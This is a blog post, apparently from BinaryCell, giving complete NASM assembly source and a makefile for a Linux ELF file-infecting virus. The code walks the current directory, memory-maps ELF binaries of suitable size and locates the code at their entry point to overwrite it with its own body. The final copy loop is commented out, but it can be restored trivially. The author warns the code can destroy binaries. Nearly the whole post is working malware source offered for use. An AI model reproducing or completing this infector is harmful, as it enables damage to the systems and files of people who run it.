GNU/linux virii example
Warning, this code can be destroy binaries on local directory! Is dangerous code, use at your own risk and NEVER run as root
Code:
%define _syscall 0x80
%define _exit 0x1
%define _write 0x4
%define _open 0x5
%define _close 0x6
%define _lseek 0x13
%define _readdir 0x59
%define _mmap 0x5a
%define _munmap 0x5b
%define STDOUT 0x1
%define O_RDONLY 0x0
%define O_RDWR 0x2
%define SEEK_END 0x2
%define PROT_READ 0x1
%define PROT_WRITE 0x2
%define MAP_SHARED 0x1
%define PT_LOAD 0x1
%define CODE_START EBP-4
%define CODE_END EBP-8
%define DIR_DESCRIPTOR EBP-16
%define DIR_POINTER EBP-20
%define FILE_DESCRIPTOR EBP-296
%define FILE_SIZE EBP-300
%define MMAP_ADDR EBP-332
%define ELF_ENTRYPOINT EBP-344
%define ELF_PHOFF EBP-348
%define ELF_PHSIZE EBP-352
%define ELF_PHNUM EBP-356
%define PH_FILEOFF EBP-368
%define PH_VADDR EBP-372
%define PH_FILESIZE EBP-376
%define MIN_FILESIZE 1024*2
%define MAX_FILESIZE 1024*1024*25
%define FILE_ELF_ENTRYPOINT 24
%define FILE_ELF_PROGRAM_HEADER_OFFSET 32
global _start
section .text
; ####################################################
; # EntryPoint
; ####################################################
_start:
jmp linux_host
; ####################################################
; # GNU/linux part
; ####################################################
linux_host:
; [CODE_START] - 0xc
; [CODE_END] + 0x9
mov EBP, ESP ; any points must have a reference
call _end
greetings_str: db "Hello world from GNU/linux!",0xa,0
greetings_str_l equ $ - greetings_str
_real_start:
write_hello_world:
mov EAX, _write ;
mov EBX, STDOUT ;
mov ECX, [CODE_START] ;
mov EDX, greetings_str_l ;
int _syscall ; write hello
opendir:
mov EAX, '.' ; construct string "."
push EAX ; actualy on ESP
mov EAX, _open ;
mov EBX, ESP ;
mov ECX, O_RDONLY ;
int _syscall ;
cmp EAX, -1 ;
jle exit ;
push EAX ; save the descriptor EBP-16 (DIR_DESCRIPTOR)
mov EAX, 446 ;
push EAX ; save the actual dirp in EBP-16 (DIR_POINTER)
sub ESP, 268 ; allocate space for readdir struct
readdir:
mov EAX, _readdir
mov EBX, [DIR_DESCRIPTOR]
mov ECX, ESP
mov EDX, [DIR_POINTER]
int _syscall
cmp EAX, 1
jne .exit
mov [DIR_POINTER], EAX
call open
jmp readdir
.exit:
mov EAX, _close ;
mov EBX, [DIR_DESCRIPTOR] ;
int _syscall ; close directory
add ESP, 4 ; restore stack
jmp exit
open:
mov EAX, _open ; open file
mov EBX, EBP ;
sub EBX, 278 ; obtain file name string from stack
mov ECX, O_RDWR ;
int _syscall ;
cmp EAX, -1 ;
jle .exit ;
push EAX ; save the descriptor (FILE_DESCRIPTOR)
.filesize:
mov EAX, _lseek ;
mov EBX, [FILE_DESCRIPTOR] ;
mov ECX, 0x0 ;
mov EDX, SEEK_END ;
int _syscall ; determine filesize
.filters:
cmp EAX, MIN_FILESIZE ;
jle .close ; simple minimum filesize filter
cmp EAX, MAX_FILESIZE ;
jge .close ; simple maximum filesize filter
push EAX ; save the file size in (FILE_SIZE)
call mmap
add ESP, 4
.close:
mov EAX, _close ;
mov EBX, [FILE_DESCRIPTOR] ;
int _syscall ; close file
add ESP, 4 ; restore stack
.exit:
ret
mmap:
mov EAX, 0x0
push EAX
mov EAX, [FILE_DESCRIPTOR]
push EAX
mov EAX, MAP_SHARED
push EAX
mov EAX, PROT_READ | PROT_WRITE
push EAX
mov EAX, [FILE_SIZE]
push EAX
mov EAX, 0x0
push EAX
mov EBX, ESP
mov EAX, _mmap
int _syscall
cmp EAX, -1
je .restoremap
push EAX ; save mmap addr (MMAP_ADDR)
call identify
.munmap:
mov EAX, _munmap
mov EBX, [MMAP_ADDR]
mov ECX,[FILE_SIZE]
int _syscall
add ESP, 4
.restoremap:
add ESP, 24 ; restore stack
.exit:
ret
identify:
mov EBX, [MMAP_ADDR]
mov EAX, [EBX]
cmp EAX, 0x464c457f ; 0x7f, 'E', 'L', 'F'
jne .exit
add EBX, 4
mov EAX, [EBX]
cmp EAX, 0x00010101 ; 0x1, 0x1, 0x1, 0x0
jne .exit
call iself
.exit:
ret
iself:
mov EBX, [MMAP_ADDR] ;
add EBX, FILE_ELF_ENTRYPOINT ;
mov EAX, [EBX] ; obtain entrypoint
push EAX ; save entrypoint (ELF_ENTRYPOINT)
add EBX, 4 ;
mov EAX, [EBX] ; obtain program header offset
push EAX ; save them (ELF_PHOFF)
cmp EAX, 0 ; have a valid program
je .exit ; header?
add EBX, 14 ;
mov EAX, 0 ;
mov AX, [EBX] ; obtain program header entry
push EAX ; size and save them (ELF_PHSIZE)
add EBX, 2 ;
mov EAX, 0 ;
mov AX, [EBX] ; obtain program headers number
push EAX ; and save them (ELF_PHNUM)
mov EDX, [MMAP_ADDR] ;
add EDX, [ELF_PHOFF] ;
sub EDX, [ELF_PHSIZE] ; addr of section
mov ECX, 0 ;
mov CX, [ELF_PHNUM] ; counter for loop
.walksections:
add EDX, [ELF_PHSIZE] ; next section
mov EAX, [EDX] ;
push EDX
push ECX
cmp EAX, PT_LOAD ;
je .isloadable ; is loadable segment?
.postloadbl:
pop ECX
pop EDX
loop .walksections
.cleanup:
add ESP, 8
.exit:
add ESP, 8
ret
.isloadable:
add EDX, 4
mov EAX, [EDX]
push EAX ; save file offset PH_FILEOFF
add EDX, 4
mov EAX, [EDX]
push EAX ; save virtual addr PH_VADDR
add EDX, 8
mov EAX, [EDX]
push EAX ; save size in file PH_FILESIZE
mov EAX, [PH_VADDR] ;
mov EBX, [ELF_ENTRYPOINT] ;
cmp EAX, EBX ; is the entrypoint more than
jge .clean ; this section?
mov EAX, [PH_FILESIZE] ;
add EAX, [PH_VADDR] ; max size
mov EBX, [ELF_ENTRYPOINT] ;
cmp EAX, EBX ; is the entrypoint smaller than
jle .clean ; this section?
; at this point the section are identified by the code
call infectroutine
.clean:
add ESP, 12
jmp .postloadbl
infectroutine:
mov EAX, [ELF_ENTRYPOINT] ;
sub EAX, [PH_VADDR] ;
add EAX, [PH_FILEOFF] ; offset code in EAX
add EAX, [MMAP_ADDR] ; mem offset
; [CODE_START] - 0xc
; [CODE_END] + 0x9
mov ECX, [CODE_START] ;
sub ECX, 0xc ; start addr
mov EDX, [CODE_END] ; end addr
.cloneloop:
; Comented for security reasons
; mov BL, [ECX] ;
; mov [EAX], BL ; dump virii
; add EAX, 1 ;
; add ECX, 1
; cmp ECX, EDX
; jl .cloneloop
ret
exit:
mov EAX, _exit
mov EBX, 69
int _syscall
_end:
call _real_start
And the makefile:all: virii virii: nasm -f elf virii_linux.nasm ld -e _start virii_linux.o -o virii_linux
Posted at BinaryCell
Comments
Post a Comment